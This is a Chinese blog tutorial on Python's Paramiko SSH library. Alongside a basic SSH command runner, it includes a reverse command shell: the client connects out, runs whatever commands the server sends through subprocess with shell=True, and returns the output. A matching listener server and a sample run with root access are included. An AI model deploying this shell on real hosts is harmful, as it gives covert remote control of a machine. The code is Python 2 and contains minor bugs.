Python之Paramiko使用SSH

Paramiko介绍

官网:http://www.paramiko.org/
官网介绍说Paramiko 是python的一个模块,可在2.7,3.4中使用SSH2协议,可以作为客户端和服务器。
并且可以使用PYTHON的C语言拓展加密传输

安装pip install paramiko

基于用户名跟密码连接:

import threading
import paramiko
import subprocess

#方法函数ssh_command
def ssh_command(ip,user,passwd,command):
    #创建一个SSH客户端对象
    client = paramiko.SSHClient()
    #以传统用户密码验证,还有一种可以用SSH密钥认证
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    #开始连接
    client.connect(hostname=ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        #如果链接成功,执行命令并打出结果
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)
        ssh_session.close
    return

ssh_command('kjol.cc','123','123','command命令')

效果如下:

root@myspuerkali:~/python# python bh_sshcmd.py
uid=0(root) gid=0(root) groups=0(root)

基于公钥的客户端

#-*-coding:utf-8-*-
import threading
import paramiko
import subprocess
 
#方法函数ssh_command
def ssh_command(ip,user,passwd,command):
 
    #host_key = paramiko.RSAKey.from_private_key_file(filename='test_rsa.key')
    
    #创建一个SSH客户端对象
    client = paramiko.SSHClient()
    #以传统用户密码验证,还有一种可以用SSH密钥认证
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    #client.load_host_keys(filename='test_rsa2.key')
    
    #开始连接
    client.connect(hostname=ip, port=1112,username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print ssh_session.recv(1024)
        while True:
            #从SSH服务器获取CMD命令
            command = ssh_session.recv(1024)
            try:
                cmd_output = subprocess.check_output(command,shell=True)
                ssh_session.send(cmd_output)
 
            except Exception as e:
                ssh_session.send(str(e))
        ssh_session.close
    return
 
ssh_command('192.168.2.249','root','password','Client Connect success')

服务端

import socket
import paramiko
import threading
import sys
 
 
 
 
host_key = paramiko.RSAKey(filename='test_rsa.key')
 
 
class Server(paramiko.ServerInterface):
    def _init(self):
        self.event = threading.Event()
 
    def check_channel_request(self,kind,chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if(username=='root') and (password=='password'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED
 
server = sys.argv[1]
ssh_port = int(sys.argv[2])
 
try:
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    sock.bind((server,ssh_port))
    sock.listen(100)
    print '[+] Listen on connection ...'
    client,addr = sock.accept()
except Exception,e:
    print '[-] Listen failed :' + str(e)
    sys.exit(1)
print '[+] Get a connection'
 
 
try:
    bhsession = paramiko.Transport(client)
    bhsession.set_gss_host(socket.getfqdn(""))
 
    try:
        bhsession.load_server_moduli
    except:
        print "Failed to load moduli"
        raise
    bhsession.add_server_key(host_key)
    server = Server()
    try:
        bhsession.start_server(server=server)
    except paramiko.ssh_exception,x:
        print '[-] SSH negotiation failed.'
    chan = bhsession.accept(20)
    print '[+] Authenticated'
    print chan.recv(1024)
    chan.send('Welcame to bh_ssh')
    while True:
        try:
            command = raw_input("Enter command:").strip('\n')
            if command != 'exit':
                chan.send(command)
                print chan.recv(1024) + '\n'
            else:
                chan.send('exit')
                print 'exiting'
                bhsession.close()
                raise exception('exit')
        except KeyboardInterrupt:
            bhsession.close()
except Exception as e:
    print '[-] Caught exception:' + str(e.__class__) + ':' + str(e)
    try:
        bhsession.close()
    except:
        pass
    exit(1)

效果

root@myspuerkali:~/python# python bh_sshserver.py 192.168.2.249 1112
[+] Listen on connection ...
[+] Get a connection
[+] Authenticated
Client Connect success
Enter command:ls 
BHP-Code
bh_sshcmd.py
bh_sshRcmd.py
bh_sshserver.py
netcat
python_work
tcp_proxy.py
test_rsa2.key
test_rsa.key


Enter command:
root@myspuerkali:~/python# python bh_sshRcmd.py
Welcame to bh_ssh

其他拓展

可在官方gethum的demo找到更多例子

如管道,内网转发,等
https://github.com/paramiko/

发表评论

邮箱地址不会被公开。 必填项已用*标注